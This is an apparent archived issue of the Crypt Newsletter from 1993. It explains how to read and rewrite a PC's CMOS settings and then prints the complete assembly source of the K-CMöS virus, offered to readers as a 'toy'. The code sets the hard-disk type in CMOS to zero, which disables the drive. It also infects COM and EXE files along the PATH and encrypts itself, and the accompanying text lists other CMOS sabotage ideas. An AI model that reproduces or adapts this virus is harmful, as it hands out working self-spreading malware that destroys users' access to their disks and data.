home *** CD-ROM | disk | FTP | other *** search
- comment $
-
- K-CMöS VIRUS for Crypt Newsletter 20
-
-
- In my quest to bring the latest hi-tech computer virus
- toys to you, faithful reader, I have researched one of the
- relatively untouched-by-viruses parts of an AT computer:
- the CMOS.
-
- The CMOS (Complementary Metal Oxide Semiconductor) is a
- low power consumption semiconductor where information such as
- the current equipment settings, hard drive type, time and
- date is stored and maintained using a NiCad battery that is
- recharged every time you turn on the computer. (That is why
- it's a good idea to turn on the computer every once in a while
- if you are not using it for long periods. This prevents
- battery discharge and loss of CMOS settings.)
-
- The CMOS in your computer is changed and set every time
- you run the Setup program that comes with your BIOS (AMI,
- Phoenix), and can be accessed and changed by any program
- running from DOS.
-
- The AT CMOS RAM is divided into three areas:
-
- 1 - The clock/calendar bytes
- 2 - The control registers
- 3 - General purpose RAM.
-
- The following table describes the CMOS RAM location and what
- each byte is used for:
-
- OFFSET byte DESCRIPTION
-
- Real Clock Data
-
- 00 Current second in BCD
- 01 Alarm second in BCD
- 02 Current minute in BCD
- 03 Alarm minute in BCD
- 04 Current Hour in BCD
- 05 Alarm Hour in BCD
- 06 Current day of week in BCD
- 07 Current day in BCD
- 08 Current month in BCD
- 09 Current year in BCD
-
- Status Registers
-
- 0A Status Register A
- 0B Status Register B
- 0C Status Register C
- 0D Status Register D
-
- Configuration Data
-
- 0E Diagnostic Status
- Bit 7 - Clock Lost Power
- Bit 6 - Bad CMOS checksum
- Bit 5 - invalid config info at POST
- Bit 4 - memory Size compare error at POST
- Bit 3 - Fixed disk or adapter failed initialization
- Bit 2 - Invalid CMOS time
- Bits 1-0 - Reserved
- 0F Reason for Shutdown
- 00 - Power on or reset
- 01 - Memory Size pass
- 02 - Memory test pass
- 03 - memory test fail
- 04 - POST end: boot system
- 05 - jmp doubleword pointer with EOI
- 06 - Protected tests pass
- 07 - Protected tests fail
- 08 - Memory size fail
- 09 - INT 15h Block move
- 0A - JMP double word pointer without EOI
- 10 Diskette Drive Types
- Bits 7-4 - Diskette drive 0 type
- Bits 3-0 - Diskette drive 1 type
- 0000b - no drive
- 0001b - 360K drive
- 0010b - 1.2MB drive
- 0011b - 720K drive
- 0100b - 1.44 MB drive
- 0101b - 2.88 MB drive
- 11 Reserved
- 12 Fixed Disk Drive Types
- Bits 7-4 - Fixed Disk drive 0 type
- Bits 3-0 - Fixed Disk drive 1 type
- 0000b - no drive
- (Note: These drives do not necessarily
- correspond with the values stored at
- locations 19h and 1Ah)
- 13 Reserved
- 14 Equipment Installed
- Bits 7-6 - # of Diskette drives
- 00b - 1 diskette drive
- 01b - 2 diskette drives
- Bits 5-4 - Primary Display
- 00b - reserved
- 01b - 40 X 25 color
- 10b - 80 X 25 color
- 11b - 80 X 25 monochrome
- Bits 3-0 - Reserved
- 15 Base Memory in 1K low byte
- 16 Base Memory in 1K high byte
- 17 Expansion Memory size low byte
- 18 Expansion Memory size high byte
- 19 Fixed Disk Drive Type 0
- 1A Fixed Disk Drive Type 1
- 1B-2D Reserved
- 2E Configuration Data checksum high byte
- 2F Configuration Data checksum low byte
- 30 Actual Expansion Memory size low byte
- 31 Actual Expansion Memory size high byte
- 32 Century in BCD
- 33 Information Flag
- Bit 7 - 128 Kbyte expanded
- Bit 6 - Setup Flag
- Bits 5-0 - Reserved
- 34-3F Reserved
-
-
-
- As you can see, there are a total of 63 (3F hex) bytes of
- CMOS RAM, with 33 bytes used as 'reserved' memory in the
- three areas; these locations are not currently defined by
- the AT BIOS and might be used to store data that will be
- restored after power is shut down.
-
- The 4 status registers (A through D) located, appropriately, at
- locations 0Ah through 0Dh define the chips operating
- parameters and provide information about interrupts and the
- state of the real time clock chip (RTC).
-
- With very few restrictions all CMOS RAM locations may be
- directly accessed by an application.
-
- Program locations 11h, 13h, and 1Bh through 2Dh are used
- in calculating the CMOS checksum that the BIOS stores at
- locations 2Eh and 2Fh.
-
- Note: If a program changes ANY bytes at locations 10h
- through 2Dh it must also recalculate the checksum and store
- the new value. Changing these bytes (10h -> 2Dh) without
- correcting the checksum results in a 'CMOS checksum error'
- forcing you to run the BIOS setup and reenter all of the CMOS
- information.
-
- The reserved memory locations 34h through 3Fh are not used in
- checksum calculations and may be changed with extreme caution
- since different BIOS versions, manufacturers and hardware
- configurations use this reserved CMOS RAM locations for
- extended system setup information including BIOS passwords
- and DMA settings.
-
-
- To access and change a computer's CMOS RAM is very simple:
-
- Access is done through ports 70 hex (CMOS control/address)
- and port 71 hex (CMOS data).
-
- The process is thus:
-
- 1 - We specify the CMOS RAM address of the byte we want to
- read or write using port 70h
-
- EXAMPLE:
-
- mov al,XX where XX = byte specifying the address (00h->3Fh)
- out 70h,al
-
- 2 - We read or write a byte to the address specified in step
- 1.
-
- READ EXAMPLE:
-
- in al,71h byte at location XX goes into AL
-
- WRITE EXAMPLE:
-
- out 71h,al byte in AL goes to location XX in the CMOS RAM
-
- There is one little problem: if we are writing to any of the
- locations that are checksummed (10h through 2Dh), we must
- change the checksum value as well; so we follow steps 1 and 2
- with the checksum values at locations 2Eh and 2Fh, combine
- the bytes into one register and subtract the current byte
- value from the register containing the checksum. Then we add
- the value of the new byte to be put in the CMOS RAM to the
- register that has the checksum, and we write the checksum,
- and the new byte to the CMOS.
-
- While all of this might seem too complicated, I have
- written a mini-CMöS toolkit, a routine that takes the address
- and the new value of the byte to be put in the CMOS, and does
- the dirty work of putting the values and of changing the
- checksum for you.
-
- Read the code carefully. It will make everything become
- clearer.
-
- ;==============================================================================
- CMOS_CHCKSM:
-
- ; INPUT:
- ; DL = CMOS ADDRESS of BYTE TO be MODiFiED
- ; BL = NEW BYTE VALUE to be PUT IN CMOS RAM
-
- ; OUTPUT:
- ; None.
- ; REGISTERS USED: AX,CX,BX,DX
-
- ;*************************
- ; GET CMOS Checksum => CX
- ;*************************
-
- xor ax,ax
- mov al,2Eh ;msb of checksum address
- out 70h,al ;send address / control byte
- in al,71h ;read byte
-
- xchg ch,al ;store al in ch
-
- mov al,2Fh ;lsb of checksum address
- out 70h,al ;send address / control byte
- in al,71h ;read byte
-
- xchg cl,al ;store lsb to cl
-
- ;*********************
- ; Fix CMOS Checksum
- ;*********************
-
- push dx
- xchg dl,al ;AL = address
- out 70h,al ;send address / control byte
- in al,71h ;read register
-
- sub cx,ax ;subtract from checksum
-
- add cx,bx ;update checksum value in register.
-
- ;****************************
- ; Write CMOS byte to Address
- ;****************************
-
- pop dx
- xchg dl,al ;AL = address
- out 70h,al ;specify CMOS address
- xchg al,bl ;new CMOS value => al
-
- out 71h,al ;write new CMOS byte
-
- ;*********************
- ; Write CMOS Checksum
- ;*********************
-
- mov al,2Eh ;address of checksum 's msb
- out 70h,al ;specify CMOS address
- xchg al,ch ;msb of new checksum
-
- out 71h,al ;write new CMOS msb
-
- mov al,2Fh ;address of checksum 's lsb
- out 70h,al ;specify CMOS address
- xchg al,cl ;lsb of new checksum
-
- out 71h,al ;write new CMOS lsb
- ret
-
- ;==============================================================================
-
-
- It is worth mentioning that for XT (8088) type computers
- the CMOS routine will have no adverse effects in the
- execution of the virus-infected program.
-
- There are many intriguing features of CMOS-attacking
- viruses: The biggest one is the interaction between software
- and CMOS is not stopped by common anti-virus memory
- resident programs. The most talked about example of such
- a virus is the South African EXEbug, which uses CMOS
- manipulation to make itself difficult to remove from an
- infected hard disk. EXEbug massages the CMOS so that if
- the machine is booted from a diskette and the virus is
- not in memory, the infected hard disk is not recognized.
-
- The list of possible problems created by a CMOS
- attacking virus is long:
-
- 1 - CMOS checksum errors.
- This will force the user to reenter all of the CMOS data.
- Change any value in the correct CMOS range without
- updating the checksum.
-
- 2 - Dead disk / hard drives.
- This could drive the uninformed to presume they have
- encountered a hardware problem.
-
- 3 - Changed hardrive types, horrendous hardrive problems.
- For example: Input the hardrive type byte, subtract some small
- digit from it and output the byte to the CMOS. (The checksum
- must be fixed!) and a horrible mess results on subsequent
- boot up.
-
- 4 - Changed dates, times, etc.
- The uninformed could thing the Nicad battery has died,
- or that his/her computer is possessed by evil, Nigerian
- Deities.
-
- 5 - Changed BIOS passwords, inability to access a computer.
- On newer AMI BIOSes you can set or change the password
- required to access the computer. This topic was discussed
- briefly in a recent issue of Virus News International, the
- upshot being that the unsuspecting could be flummoxed into
- throwing the computer out the window, or more realistically,
- calling a technician. In the case where some knowledge about
- computers is present, the case is opened and the jumper
- found to short the CMOS. (No, you don't have to disconnect
- the battery. And you didn't throw out your machine manuals
- did you?)
-
- Although many anti-virus programs can save and restore
- your CMOS values as part of their function, currently there
- is only one memory resident program that checks for changes
- in the CMOS: Thunderbyte's TBMEM.
-
- This month's example, K-CMöS, falls in category #2: it
- kills all fixed disk drives by zeroing out location 12h in
- the CMOS RAM. It also has some encryption abilities (a 16
- byte constant decryptor) and a PATH style infection routine
- that actually works!
-
- Needless to say, careful handling is necessary as it can
- spread quite rapidly.
-
- Important: Since K-CMOS zero's the CMOS value for the fixed
- disk on execution, unless you restore the value before ending
- your experiment with some software CMOS reloading tool, you
- will have a dead C: drive when you finally get around to
- rebooting. Keep in mind that if you don't know how to reset
- your CMOS on power up using the built in BIOS setup, you will
- sit there in a dumb stew wondering why you ran a virus which
- unhooked your hard drive.
-
- To prevent this from happening, you must familiarize yourself
- with the BIOS setup program. Here is a brief walkthrough which
- could be used to properly restore your machine after K-CMOS
- has altered your CMOS:
-
- 1 - BEFORE you execute K-CMOS - on power up, bring up your
- BIOS setup by holding down the DEL key while you are booting
- the computer.
-
- 2 - You will probably see a screen with a number of selections.
- You will want to bring up "Change Basic CMOS Settings" or its
- equivalent. Write down the values for the HD types on drives
- C and D.
-
- 3- IF the hard drive types are "47" the you MUST record all
- of the data in the displayed fields, i.e, the information
- such as the number of heads, sectors, etc. Again, you MUST
- do this BEFORE you run K-CMOS or you will have to look in
- your manuals somewhere to get the specific HD information!
-
- NOTE: Newer AMI BIOSes have an auto-detect feature in the
- Setup menu, so you might not have to worry about hard disk type
- number, number of sectors, number of heads, etc., if you have
- the feature in your computer's BIOS. The setup will do the
- work for you.
-
- 4 - Now that you've recorded this data, you can test K-CMOS
- and watch it unhook your system. On reboot, you will lose the
- hard disk. Reboot, bring up your Setup program as above, re-
- enter the values for the hard disk which you previously
- recorded, exit and save. You are back in business.
-
- Enjoy!
-
- $
-
- ;=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
- ; K-CMöS.ASM
- ; AUTHOR: Köhntark
- ; DATE: November 93
- ; Size: < 1100 bytes
- ;
- ;=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
-
- MAIN SEGMENT BYTE
- ASSUME cs:main,ds:main,ss:nothing ;all part in one segment=com file
- ORG 100h
-
- ;**********************************
- ; fake host program
- ;**********************************
-
- HOST:
- db 0E9h,0Ah,00 ;jmp NEAR PTR VIRUS
- db ' '
- db 90h,90h,90h
- mov ah,4CH
- mov al,0
- int 21H ;terminate normally with dos
-
- ;═════════════════════════════════════════════════════════════════════════════
-
- ;**********************************
- ; VIRUS CODE STARTS HERE
- ;**********************************
-
- VIRUS:
-
- mov si,010Dh ;get starting address
-
- ;************************************
- ; Fix DS ES
- ;************************************
-
- mov al,cs:BYTE PTR [si + COM_FLAG - VIRUS] ;save COM/EXE flag in AX
- mov WORD PTR cs:[si + PSP_SEG - VIRUS],es ;save PSP segment for use in PATH search
- push ax ;save COM/EXE flag
- push es ;save es and ds in case file is EXE
- push ds
-
- push cs
- push cs
- pop es ;es = cs
- pop ds ;ds = cs
-
- push WORD PTR [si + ORIG_IPCS - VIRUS] ;save IP
- push WORD PTR [si + ORIG_IPCS - VIRUS + 2] ;save CS
-
- push WORD PTR [si + ORIG_SSSP - VIRUS] ;save SS
- push WORD PTR [si + ORIG_SSSP - VIRUS + 2] ;save SP
-
- push WORD PTR [si + START_CODE - VIRUS]
- push WORD PTR [si + START_CODE - VIRUS + 2]
-
- ;************************************
- ; redirect DTA onto virus code
- ;************************************
-
- lea dx,[si + DTA - VIRUS] ;put DTA at the end of the virus for now
- mov ah,1ah ;set new DTA function to ds:dx
- int 21h
-
- ;************************************
- ; KIll fixed disk drives in CMOS
- ;************************************
-
- mov dx,0012h ;hard drive type register
- xor bx,bx ;New hard drive type = 0 (No Fixed drive)
- call CMOS_CHCKSM
-
- ;************************************
- ; MAIN Routines called from here
- ;************************************
-
- lea bp,[si + COM_MASK - VIRUS]
- call FIND_FILE ;get a com file to attack!
- lea bp,[si + EXE_MASK - VIRUS]
- call FIND_FILE ;get an exe file to attack!
-
- ;═════════════════════════════════════════════════════════════════════════════
-
- EXIT_VIRUS:
-
- ;************************************
- ; set old DTA address
- ;************************************
-
- mov ah,1ah
- mov dx,80h ;fix dta back to ds:dx
- int 21h ;host program
-
- pop WORD PTR [si + START_CODE - VIRUS + 2]
- pop WORD PTR [si + START_CODE - VIRUS]
-
- cli
- pop WORD PTR [si + ORIG_SSSP - VIRUS + 2] ;save SP
- pop WORD PTR [si + ORIG_SSSP - VIRUS] ;save SS
- sti
-
- pop WORD PTR [si + ORIG_IPCS - VIRUS + 2] ;save CS
- pop WORD PTR [si + ORIG_IPCS - VIRUS] ;save IP
-
- pop ds ;restore ds
- pop es ;restore es
- pop ax ;restore COM_FLAG
-
- cmp al,00 ;com infection?
- je RESTORE_COM
-
- ;************************************
- ; restore EXE.. and exit..
- ;************************************
-
- mov bx,ds ;ds has to be original one
- add bx,low 10h
- mov cx,bx
- add bx,cs:WORD PTR [si + ORIG_SSSP - VIRUS] ;restore ss
- cli
- mov ss,bx
- mov sp,cs:WORD PTR [si + ORIG_SSSP - VIRUS + 2] ;restore sp
- sti
- add cx,cs:WORD PTR [si + ORIG_IPCS - VIRUS+ 2]
- push cx ;push cs
- push cs:WORD PTR [si + ORIG_IPCS - VIRUS] ;push ip
- db 0CBh ;retf
-
- ;************************************
- ; restore 4 original bytes to file
- ;************************************
-
- RESTORE_COM:
- push si ;save si
- cld ;clear direction flag
- add si,OFFSET START_CODE - OFFSET VIRUS ;source: ds:si
- mov di,0100h ;destination: es:di
- movsw ;shorter & faster than
- movsw ;mov cx,04 and rep movsb
- pop si ;restore si
-
- ;****************************************************************
- ; zero out registers for return to
- ; host program
- ;****************************************************************
-
- mov ax,0100h ;return address
- xor bx,bx
- xor cx,cx
- xor si,si
- xor di,di
- push ax
- xor ax,ax
- cwd
- ret
-
- ;═════════════════════════════════════════════════════════════════════════════
-
- NO_GOOD: stc
- jmp GET_OUT
-
- QUICK_EXIT: stc ;set carry flag
- ret
-
- ;-----------------------------------------------------------------------------
-
- CHECK_N_INFECT_FILE:
-
- ;******************
- ; 1-Check TIME ID
- ;******************
-
- mov cx,WORD PTR [si + DTA_File_TIME - VIRUS] ;file time from DTA
- and cl,1Dh ;58 seconds?
- cmp cl,1Dh
- je QUICK_EXIT
-
- ;*********************************************
- ; 2-Clear attributes
- ;*********************************************
-
- lea dx,[si + WORK_AREA - VIRUS] ;dx=ptr to path + current filename
- xor cx,cx ;set attributes to normal
- mov ax,4301h ;set file attributes to cx
- int 21h ;int 21h
- jc QUICK_EXIT ;error.. quit
-
- ;*****************
- ; 3-OPEN FILE
- ;*****************
-
- mov ax,3D02h ;r/w access to it
- int 21h
- jc NO_GOOD ;error.. quit
- xchg ax,bx ;bx = file handle
-
- ;********************
- ; 4-Read 1st 28 bytes
- ;********************
-
- mov cx,28d ;read first 5 bytes of file
- lea dx,[si + START_CODE - VIRUS] ;store'em here
- mov ah,3Fh ;DOS read function
- int 21h
- jc NO_GOOD ;error? get next file
-
- ;*********************
- ; 5-CHECK FILE
- ;*********************
-
- cmp WORD PTR [si + START_CODE - VIRUS],'ZM' ;EXE file?
- je CHECK_EXE ;no? check com
-
- cmp WORD PTR [si + START_CODE - VIRUS],'MZ' ;EXE file?
- je CHECK_EXE ;no? check com
-
- CHECK_COM:
- mov ax,WORD PTR [si + DTA_File_SIZE - VIRUS] ;get file's size
- push ax ;insert new entry point just in case..
- add ax,100h + DECRYPTOR_SIZE
- mov WORD PTR [si + 1],ax
- pop ax
-
- add ax,OFFSET FINAL - OFFSET VIRUS ;add virus size to it
- jc NO_GOOD ;bigger then 64K:nogood
-
- cmp BYTE PTR [si + START_CODE - VIRUS],0E9H ;compare 1st byte to near jmp
- jne short INFECT_COM ;not a near jmp, file ok
-
- cmp BYTE PTR [si + START_CODE+3 - VIRUS],20h ;check for ' '
- je NO_GOOD ;file ok .. infect
- jmp short INFECT_COM
-
-
- CHECK_EXE:
- cmp WORD PTR [si + START_CODE - VIRUS + 18h],40h ;Windows file?
- je NO_GOOD ;no? check com
-
- cmp WORD PTR [si + START_CODE - VIRUS + 01Ah],0 ;internal overlay
- jne NO_GOOD ;yes? exit..
-
- cmp WORD PTR [si + START_CODE - VIRUS + 12h],ID ;already infected?
- je NO_GOOD
-
- INFECT_EXE:
- mov BYTE PTR [si+ COM_FLAG - VIRUS],01 ;exe infection
- jmp short SKIP
-
- INFECT_COM:
- mov BYTE PTR [si+ COM_FLAG - VIRUS],00 ;com infection
-
- SKIP:
-
- ;*********************
- ; 6-set PTR @EOF
- ;*********************
-
- xor cx,cx ;prepare to write virus on file
- xor dx,dx ;position file pointer,cx:dx = 0
- ;cwd ;position file pointer,cx:dx = 0
- mov ax,4202H
- int 21h ;locate pointer at end EOF DOS function
-
- ;*********************
- ; 7-Fix deCRYPTtor
- ;*********************
-
- push ax ;save file size (COM file, for EXE files
- ;this is redone later)
- add ax,100h + DECRYPTOR_SIZE
- mov WORD PTR [si + WORK_BUFFER - VIRUS + 4],ax ;insert address
- mov ax,(OFFSET FINAL - OFFSET VIRUS)/2 ;virus size in Words
- mov WORD PTR [si + WORK_BUFFER - VIRUS + 1],ax ;insert size
-
- in al,40h ;get a random word in AX
- xchg ah,al
- in al,40h
- xor ax,0813Ch
- add ax,09249h
- rol al,1
- ror ah,1
-
- mov WORD PTR [si + WORK_BUFFER - VIRUS + 9],ax ;insert random KEY
- pop ax ;restore file size
-
-
- cmp BYTE PTR [si+ COM_FLAG - VIRUS],01 ;exe file?
- jne DO_COM
-
- ;*************************
- ; 8-FIX AND WRITE EXE HDR
- ;*************************
-
- push bx ;save file handler
-
- ;-----------------------
- ; save CS:IP & SS:SP
- ;-----------------------
-
- push si
- cld ;clear direction flag
- lea di,[si + ORIG_SSSP - VIRUS] ;save original CS:IP at es:di
- lea si,[si + START_CODE - VIRUS + 14d] ;from ds:si
- movsw ;save ss
- movsw ;save sp
-
- add si,02 ;save original SS:SP
- movsw ;save ip
- movsw ;save cs
- pop si
-
- ;-----------------------------
- ; calculate new CS:IP
- ;-----------------------------
-
- mov bx,WORD PTR[si + START_CODE - VIRUS + 8] ;header size in paragraphs
- mov cl,04 ;multiply by 16, won't work with headers > 4096
- shl bx,cl ;bx=header size
-
- push ax ;save file size at dx:ax
- push dx
-
- sub ax,bx ;file size - header size
- sbb dx,0000h ;fix dx if carry, assures dx, ip < 16
-
- call CALCULATE
-
- mov WORD PTR [si+ START_CODE - VIRUS + 12h],ID ;put ID in checksum slot
- mov WORD PTR [si+ START_CODE - VIRUS + 14h],ax ;IP
- add ax,DECRYPTOR_SIZE
- mov WORD PTR [si+1],ax ;insert new starting address
- mov WORD PTR [si + WORK_BUFFER - VIRUS + 4],ax ;insert address on decryptor
- mov WORD PTR [si+ START_CODE - VIRUS + 16h],dx ;CS
-
- ;-----------------------------
- ; calculate & fix new SS:SP
- ;-----------------------------
-
- pop dx
- pop ax ;filelength in dx:ax
-
- add ax,OFFSET FINAL - OFFSET VIRUS ;add filesize to ax
- adc dx,0000h ;fix dx if carry
-
- push ax
- push dx
- add ax,40h ;if filesize + virus size is even then the stack size
- test al,01 ;even or odd stack?
- jz EVENN
- inc ax ;make stack even
- EVENN:
- call CALCULATE
-
- mov WORD PTR [si+ START_CODE - VIRUS + 10h],ax ;SP
- mov WORD PTR [si+ START_CODE - VIRUS + 0Eh],dx ;SS
-
- ;-----------------------------
- ; Calculate new file size
- ;-----------------------------
-
- pop dx
- pop ax
-
- push ax
- mov cl,0009h ;2^9 = 512
- ror dx,cl ;/ 512 (sort of)
- shr ax,cl ;/ 512
- stc ;set carry flag
- adc dx,ax ;fix dx , page count
- pop cx
- and ch,0001h ;mod 512
-
- mov WORD PTR [si+ START_CODE - VIRUS + 4],dx ;page count
- mov WORD PTR [si+ START_CODE - VIRUS + 2],cx ;save remainder
-
- pop bx ;restore file handle
-
- DO_COM:
-
- ;*********************
- ; 9-write deCRYPTor
- ;*********************
-
- lea dx,[si + WORK_BUFFER - VIRUS] ;write from here
- mov cx,DECRYPTOR_SIZE ;write # of bytes
- mov ah,40h ;write to file bx=file handle
- int 21h ;write from DS:DX
-
- ;*********************
- ; 10-enCRYPT virus
- ;*********************
-
- push ds ;save DS
- push es ;save ES
- mov ax,0A00h ;set up new ES (work) segment
- push ax
- pop es ;ES=AX=0A00h
- xor di,di ;DI=0
- mov cx,(OFFSET FINAL - OFFSET VIRUS)/2 ;virus size cx= # words
- push si ;save SI
- mov dx,WORD PTR [si + WORK_BUFFER - VIRUS + 9] ;get Random KEY in DX
-
- enCRYPT:
- lodsw ;word ptr ds:[si] => ax
- sub ax,dx ;encrypt ax
- stosw ;ax => word ptr es:[di]
- loop enCRYPT
-
- pop si ;restore SI
- xor dx,dx ;DX=0
- push es
- pop ds ;DS=ES
-
- ;*********************
- ; 11-Write Virus
- ;*********************
-
- mov cx,OFFSET FINAL - OFFSET VIRUS ;write virus cx= # bytes
- mov ah,40h ;write to file bx=file handle
- int 21h ;write from DS:DX
-
- pop es ;restore ES
- pop ds ;restore DS
-
- ;*********************
- ; 12-set PTR @BOF
- ;*********************
-
- mov ax,4200h ;locate pointer at beginning of
- xor cx,cx
- xor dx,dx ;position file pointer,cx:dx = 0
- ;cwd ;position file pointer,cx:dx = 0
- int 21h ;host file
-
- cmp BYTE PTR [si+ COM_FLAG - VIRUS],01 ;exe file?
- jne DO_COM2
-
- ;*********************
- ; 13-Write EXE Header
- ;*********************
-
- mov cx,28d ;#of bytes to write
- lea dx,[si + START_CODE - VIRUS] ;ds:dx=pointer of data to write
- jmp short CONT
-
- ;****************************************************
- ; 14-write new 4 bytes to beginning of file (COM)
- ;***************************************************
-
- DO_COM2:
- mov ax,WORD PTR [si + DTA_File_SIZE - VIRUS]
- sub ax,3
- mov WORD PTR [si + START_IMAGE + 1 - VIRUS],ax
-
- mov cx,4 ;#of bytes to write
- lea dx,[si + START_IMAGE - VIRUS] ;ds:dx=pointer of data to write
-
- CONT:
- mov ah,40h ;DOS write function
- int 21h ;write 5 / 28 bytes
-
- ;*************************************************
- ; 15-Restore date and time of file to be infected
- ;*************************************************
-
- mov ax,5701h
- mov dx,WORD PTR [si + DTA_File_DATE - VIRUS]
- mov cx,WORD PTR [si + DTA_File_TIME - VIRUS]
- and cx,0FFE0h ;mask all but seconds
- or cl,1Dh ;seconds to 58
- int 21h
-
- GET_OUT:
- ;****************
- ; 16-Close File
- ;****************
-
- pushf ;save flags to return on exit
- mov ah,3Eh
- int 21h ;close file
-
- ;*************************************************
- ; 17-Restore file's attributes
- ;*************************************************
-
- mov ax,4301h ;set file attributes to cx
- lea dx,[si + WORK_AREA - VIRUS] ;dx=ptr to path + current filename
- xor cx,cx
- mov cl,BYTE PTR [si + DTA_File_ATTR - VIRUS] ;get old attributes
- int 21h
- popf ;restore flags to return on exit
- ret ;infection done!
-
- ;═════════════════════════════════════════════════════════════════════════════
-
- CALCULATE:
- mov cl,0Ch
- shl dx,cl ;dx * 4096
- mov bx,ax
- mov cl,4
- shr bx,cl ;ax / 16
- add dx,bx ;dx = dx * 4096 + ax / 16 =SS CS
- and ax,0Fh ;ax = ax and 0Fh =SP IP
- ret
-
- ;═════════════════════════════════════════════════════════════════════════════
-
- FIND_FILE:
- push si
- push es
- mov es,es:WORD PTR [si + PSP_SEG - VIRUS] ;es=saved PSP segment
- mov es,es:2ch ;es:di points to environment
- xor di,di
- mov bx,si
- FIND_PATH:
- lea si,[bx + PATH_STR - VIRUS] ;source :ds:si = 'P'
- lodsb ;load 'P'
- mov cx,7FFFh ;size of environment= 32768 bytes
- not cx ;cx=8000h
- repne scasb ;find 'P' in es:di
- mov cx,4
-
- CHECK_NEXT_4:
- lodsb ;check for 'ATH'
- scasb
- jne FIND_PATH
- loop CHECK_NEXT_4
-
- mov WORD PTR [bx + PATH_ADDRESS - VIRUS],di ;save path's address es:di
- lea di,[bx + WORK_AREA - VIRUS]
- pop es ;restore PSP segment
- jmp short COPY_FILE_SPEC_TO_WORK_AREA
-
- NO_FILE_FOUND:
- cmp word ptr [bx + PATH_ADDRESS - VIRUS],0 ;has path string ended?
- jne FOLLOW_THE_PATH ;if not there are more subdirs
- jmp EXIT ;path string ended.. exit
-
- FOLLOW_THE_PATH:
- lea di,[bx + WORK_AREA - VIRUS] ;destination es:di = work area
- mov si,WORD PTR [bx + PATH_ADDRESS - VIRUS] ;source ds:si = Environment
- mov ds,WORD PTR [bx + PSP_SEG - VIRUS] ;ds=PSP segment
- mov ds,ds:2ch ;ds:si points to environment
-
- UP_TO_LODSB:
- lodsb ;get character
- xchg cx,ax ;he he
- cmp cl,';' ;is it a ';'?
- xchg cx,ax ;he he
- je SEARCH_AGAIN
- cmp al,0 ;end of path string?
- je CLEAR_SI
- stosb ;save path marker into di
- jmp SHORT UP_TO_LODSB
-
- CLEAR_SI: ;mark the fact that we are looking thru the final subdir
- xor si,si
-
- SEARCH_AGAIN:
- mov WORD PTR cs:[bx + PATH_ADDRESS - VIRUS],si ;save address of next subdir
- cmp BYTE PTR cs:[di-1],'\' ;ends with a '\'?
- je COPY_FILE_SPEC_TO_WORK_AREA
- mov al,'\' ;add '\' if not
- stosb
-
- ;***********************************************
- ; put *.COM / *.EXE into workspace
- ;***********************************************
-
- COPY_FILE_SPEC_TO_WORK_AREA:
- push cs
- pop ds ;ds=cs
- mov WORD PTR [bx + FILENAME_PTR - VIRUS],di ;es:di = WORK_AREA
- mov si,bp ;bp=file spec
- mov cx,3 ;length of *.com0/ *.EXE0
- rep movsw ;move *.COM0/ *.EXE0 to workspace
-
- ;************************************************
- ; Find FIRST FILE
- ;************************************************
-
- mov ah,04EH ;DOS function
- lea dx,[bx + WORK_AREA - VIRUS] ;dx points to path in workspace
- mov cx,3Fh ;attributes RO or hidden OK
- FIND_NEXT_FILE: int 21H
- jnc FILE_FOUND
- jmp short NO_FILE_FOUND
-
- FILE_FOUND:
- mov di,WORD PTR [bx + FILENAME_PTR - VIRUS] ;destination: es:di
- lea si,[bx + DTA_File_NAME - VIRUS] ;origin ds:si
-
- MOVE_ASCII_FILENAME:
- lodsb ;move filename to the end of path
- stosb
- cmp al,0 ;end of ASCIIZ string?
- jne MOVE_ASCII_FILENAME ;keep on going
- pop si ;restore si to use in the following
- push bp ;save COM / EXE string pointer
- call CHECK_N_INFECT_FILE ;check file if file found
- pop bp ;restore COM / EXE string pointer
- jnc EXITX
- mov bx,si ;fix bx
- push si ;save si again
- mov ah,04Fh
- jmp short FIND_NEXT_FILE
-
- EXIT:
- pop si
- EXITX:
- ret
-
- ;==============================================================================
- CMOS_CHCKSM:
-
- ; INPUT:
- ; DL = CMOS ADDRESS of BYTE TO be MODiFiED
- ; BL = NEW BYTE VALUE to be PUT IN CMOS RAM
-
- ; OUTPUT:
- ; None.
- ; REGISTERS USED: AX,CX,BX,DX
-
- ;*************************
- ; GET CMOS Checksum => CX
- ;*************************
-
- xor ax,ax
- mov al,2Eh ;msb of checksum address
- out 70h,al ;send address / control byte
- in al,71h ;read byte
-
- xchg ch,al ;store al in ch
-
- mov al,2Fh ;lsb of checksum address
- out 70h,al ;send address / control byte
- in al,71h ;read byte
-
- xchg cl,al ;store lsb to cl
-
- ;*********************
- ; Fix CMOS Checksum
- ;*********************
-
- push dx
- xchg dl,al ;AL = address
- out 70h,al ;send address / control byte
- in al,71h ;read register
-
- sub cx,ax ;subtract from checksum
-
- add cx,bx ;update checksum value in register.
-
- ;****************************
- ; Write CMOS byte to Address
- ;****************************
-
- pop dx
- xchg dl,al ;AL = address
- out 70h,al ;specify CMOS address
- xchg al,bl ;new CMOS value => al
-
- out 71h,al ;write new CMOS byte
-
- ;*********************
- ; Write CMOS Checksum
- ;*********************
-
- mov al,2Eh ;address of checksum 's msb
- out 70h,al ;specify CMOS address
- xchg al,ch ;msb of new checksum
-
- out 71h,al ;write new CMOS msb
-
- mov al,2Fh ;address of checksum 's lsb
- out 70h,al ;specify CMOS address
- xchg al,cl ;lsb of new checksum
-
- out 71h,al ;write new CMOS lsb
- ret
-
- ;═════════════════════════════════════════════════════════════════════════════
-
- NAME_AUTHOR db 'K-CMöS / Köhntark'
-
- WORK_BUFFER db 0B9h,00,00 ;mov cx,VSIZE
- db 0BBh,00,00 ;mov si,VADDRESS
- db 02Eh,081h,07,00,00 ;add WORD PTR cs:[si],KEY
- db 083h,0C3h,02 ;add si,02
- ;db 043h,043h ;inc bx, inc bx
- db 0E2h,0F6h ;loop add..
-
- COM_MASK db '*.COM',0
- EXE_MASK db '*.EXE',0
- PATH_STR db 'PATH=',0
-
- START_IMAGE db 0E9h,0,0,020h
-
- ORIG_SSSP dw 0,0
- ORIG_IPCS dw 0,0
- COM_FLAG db 0 ;0=COM 1=EXE
- START_CODE db 4 dup (90h) ;4 bytes of COM or EXE hdr goes here
-
- ;═════════════════════════════════════════════════════════════════════════════
-
- FINAL: ;label of byte of code to be kept in virus when it moves
-
- ;═════════════════════════════════════════════════════════════════════════════
-
- HEAP:
-
- START_CODE2 db 24d dup (0) ;2nd part of EXE hdr
-
- PSP_SEG dw 0
-
